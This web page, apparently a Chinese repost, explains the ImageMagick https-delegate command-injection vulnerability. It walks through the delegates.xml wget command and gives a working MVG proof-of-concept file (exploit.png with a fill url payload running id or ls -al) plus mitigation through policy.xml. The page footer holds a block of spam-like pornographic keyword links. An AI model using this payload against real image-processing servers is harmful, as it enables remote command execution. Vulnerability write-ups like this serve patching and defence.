• <fieldset id="8imwq"><menu id="8imwq"></menu></fieldset>
  • <bdo id="8imwq"><input id="8imwq"></input></bdo>
    最新文章專題視頻專題問(wèn)答1問(wèn)答10問(wèn)答100問(wèn)答1000問(wèn)答2000關(guān)鍵字專題1關(guān)鍵字專題50關(guān)鍵字專題500關(guān)鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關(guān)鍵字專題關(guān)鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
    問(wèn)答文章1 問(wèn)答文章501 問(wèn)答文章1001 問(wèn)答文章1501 問(wèn)答文章2001 問(wèn)答文章2501 問(wèn)答文章3001 問(wèn)答文章3501 問(wèn)答文章4001 問(wèn)答文章4501 問(wèn)答文章5001 問(wèn)答文章5501 問(wèn)答文章6001 問(wèn)答文章6501 問(wèn)答文章7001 問(wèn)答文章7501 問(wèn)答文章8001 問(wèn)答文章8501 問(wèn)答文章9001 問(wèn)答文章9501
    當(dāng)前位置: 首頁(yè) - 科技 - 知識(shí)百科 - 正文

    深入淺析ImageMagick命令執(zhí)行漏洞

    來(lái)源:懂視網(wǎng) 責(zé)編:小采 時(shí)間:2020-11-27 14:27:36
    文檔

    深入淺析ImageMagick命令執(zhí)行漏洞

    深入淺析ImageMagick命令執(zhí)行漏洞:00 前言 什么是ImageMagick? ImageMagick是一個(gè)功能強(qiáng)大的開(kāi)源圖形處理軟件,可以用來(lái)讀、寫和處理超過(guò)90種的圖片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以對(duì)圖片進(jìn)行切割、旋轉(zhuǎn)、組合等多種特效的處理。 由于其功能強(qiáng)大、性能較好
    推薦度:
    導(dǎo)讀深入淺析ImageMagick命令執(zhí)行漏洞:00 前言 什么是ImageMagick? ImageMagick是一個(gè)功能強(qiáng)大的開(kāi)源圖形處理軟件,可以用來(lái)讀、寫和處理超過(guò)90種的圖片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以對(duì)圖片進(jìn)行切割、旋轉(zhuǎn)、組合等多種特效的處理。 由于其功能強(qiáng)大、性能較好
    00 前言

    什么是ImageMagick?

    ImageMagick是一個(gè)功能強(qiáng)大的開(kāi)源圖形處理軟件,可以用來(lái)讀、寫和處理超過(guò)90種的圖片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以對(duì)圖片進(jìn)行切割、旋轉(zhuǎn)、組合等多種特效的處理。

    由于其功能強(qiáng)大、性能較好,并且對(duì)很多語(yǔ)言都有拓展支持,所以在程序開(kāi)發(fā)中被廣泛使用。許多網(wǎng)站開(kāi)發(fā)者喜愛(ài)使用ImageMagick拓展來(lái)做web上的圖片處理工作,比如用戶頭像生成、圖片編輯等。

    01 漏洞描述

    ImageMagick是一款開(kāi)源圖片處理庫(kù),支持PHP、Ruby、NodeJS和Python等多種語(yǔ)言,使用非常廣泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多個(gè)圖片處理插件都依賴它運(yùn)行。當(dāng)攻擊者構(gòu)造含有惡意代碼得圖片時(shí),ImageMagick庫(kù)對(duì)于HTTPPS文件處理不當(dāng),沒(méi)有做任何過(guò)濾,可遠(yuǎn)程實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行,進(jìn)而可能控制服務(wù)器。

    02 影響程度

    攻擊成本:低

    危害程度:高

    影響范圍:ImageMagick 6.9.3-9以前的所有版本

    03 漏洞分析

    命令執(zhí)行漏洞是出在ImageMagick對(duì)https形式的文件處理的過(guò)程中。

    ImageMagick之所以支持那么多的文件格式,是因?yàn)樗鼉?nèi)置了非常多的圖像處理庫(kù),對(duì)于這些圖像處理庫(kù),ImageMagick給它起了個(gè)名字叫做”Delegate”(委托),每個(gè)Delegate對(duì)應(yīng)一種格式的文件,然后通過(guò)系統(tǒng)的system()命令來(lái)調(diào)用外部的lib進(jìn)行處理。調(diào)用外部lib的過(guò)程是使用系統(tǒng)的system命令來(lái)執(zhí)行的,導(dǎo)致命令執(zhí)行的代碼。

    ImageMagick委托的默認(rèn)配置文件: /etc/ImageMagick/delegates.xml

    具體代碼請(qǐng)參考:Github-ImageMagick

    我們定位到https委托得那一行:

    " "

    可以看到,command定義了它對(duì)于https文件處理時(shí)帶入system()函數(shù)得命令:"wget" -q -O "%o" "https:%M"。

    wget是從網(wǎng)絡(luò)下載文件得命令,%M是一個(gè)占位符,它得具體定義在配置文件中如下:

    %i input image filename
    %o output image filename
    %u unique temporary filename
    %Z unique temporary filename
    %# input image signature
    %b image file size
    %c input image comment
    %g image geometry
    %h image rows (height)
    %k input image number colors
    %l image label
    %m input image format
    %p page number
    %q input image depth
    %s scene number
    %w image columns (width)
    %x input image x resolution
    %y input image y resolution

    可以看到%m被定義為輸入的圖片格式,也就是我們輸入的url地址。但是由于只是做了簡(jiǎn)單的字符串拼接,沒(méi)有做任何過(guò)濾,直接拼接到command命令中,所以我們可以將引號(hào)閉合后通過(guò)"|",”`”,”&”等帶入其他命令,也就形成了命令注入。

    比如我們傳入如下代碼:

    https://test.com"|ls “-al

    則實(shí)際得system函數(shù)執(zhí)行得命令為:

    “wget” -q -O “%o” “ https://test.com"|ls “-al”

    這樣,ls -al命令成功執(zhí)行。

    04 漏洞利用

    這個(gè)漏洞得poc由老外給出得,如下:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://"|id; ")'
    pop graphic-context

    push和pop是用于堆棧的操作,一個(gè)進(jìn)棧,一個(gè)出棧;

    viewbox是表示SVG可見(jiàn)區(qū)域的大小,或者可以想象成舞臺(tái)大小,畫(huà)布大小。簡(jiǎn)單理解就是根據(jù)后面得參數(shù)選取其中得一部分畫(huà)面;

    fill url()是把圖片填充到當(dāng)前元素內(nèi);

    在其中我們使用了fill url()的形式調(diào)用存在漏洞的https delegate,當(dāng)ImageMagick去處理這個(gè)文件時(shí),漏洞就會(huì)被觸發(fā)。

    附:ImageMagick默認(rèn)支持一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文本形式寫入矢量圖的內(nèi)容,允許在其中加載ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在圖形處理的過(guò)程中,ImageMagick會(huì)自動(dòng)根據(jù)其內(nèi)容進(jìn)行處理,也就是說(shuō)我們可以將文件隨意定義為png、jpg等網(wǎng)站上傳允許的格式,這大大增加了漏洞的可利用場(chǎng)景。

    利用過(guò)程:

    創(chuàng)建一個(gè)exploit.png文件,包含以下內(nèi)容:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://test.com/image.jpg"|ls "-al)'
    pop graphic-context

    執(zhí)行命令:convert exploit.png 1.png(后面的是convert的參數(shù))

    05 漏洞修復(fù)

    升級(jí)到最新版本

    配置/etc/ImageMagick/policy.xml的方式來(lái)禁止https、mvg這些delegate,或者直接在配置文件刪除相應(yīng)的delegate

    
    
    
    
    
    
    

    以上所述是小編給大家介紹的ImageMagick命令執(zhí)行漏洞的知識(shí),希望對(duì)大家有所幫助,如果大家有任何疑問(wèn)請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!

    聲明:本網(wǎng)頁(yè)內(nèi)容旨在傳播知識(shí),若有侵權(quán)等問(wèn)題請(qǐng)及時(shí)與本網(wǎng)聯(lián)系,我們將在第一時(shí)間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

    文檔

    深入淺析ImageMagick命令執(zhí)行漏洞

    深入淺析ImageMagick命令執(zhí)行漏洞:00 前言 什么是ImageMagick? ImageMagick是一個(gè)功能強(qiáng)大的開(kāi)源圖形處理軟件,可以用來(lái)讀、寫和處理超過(guò)90種的圖片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以對(duì)圖片進(jìn)行切割、旋轉(zhuǎn)、組合等多種特效的處理。 由于其功能強(qiáng)大、性能較好
    推薦度:
    標(biāo)簽: 漏洞 命令 分析
    • 熱門焦點(diǎn)

    最新推薦

    猜你喜歡

    熱門推薦

    專題
    Top
    主站蜘蛛池模板: 国产原创精品 正在播放| 最新欧美性爱精品一区二区三区| 国产在线精品观看免费观看| 国产久热精品无码激情| 亚洲精品成a人在线观看| 亚洲精品免费观看| 精品福利视频一区二区三区| 合区精品中文字幕| 国产精品最新国产精品第十页| 午夜精品美女写真福利| 第一福利永久视频精品| 国产午夜福利精品久久2021| 日本VA欧美VA精品发布| 色婷婷久久久SWAG精品| 鲸鱼传媒绿头鱼实验室之炮机测评日韩精品一级毛 | 色婷婷噜噜久久国产精品12p| 国产一区精品| 精品国产成人国产在线观看| 国产成人精品免费视频大全| 久久久久夜夜夜精品国产| 国产精品毛片久久久久久久| 999在线视频精品免费播放观看| WWW国产精品内射老师| 国产欧美日韩综合精品一区二区| 久久精品午夜一区二区福利| 精品国产粉嫩内射白浆内射双马尾| 老司机午夜精品视频资源| 久久婷婷国产综合精品| 精品国产第一国产综合精品| 91国内外精品自在线播放| 国产精品久久久久久福利69堂| 国产午夜精品视频| 亚洲国产综合精品中文第一区| 2021国产三级精品三级在专区 | 国产精品一级片| 国产精品嫩草影院一二三区入口| 国产精品9999久久久久| 99re6在线视频精品免费| 国产精品专区第二| jizz国产精品| 免费精品精品国产欧美在线|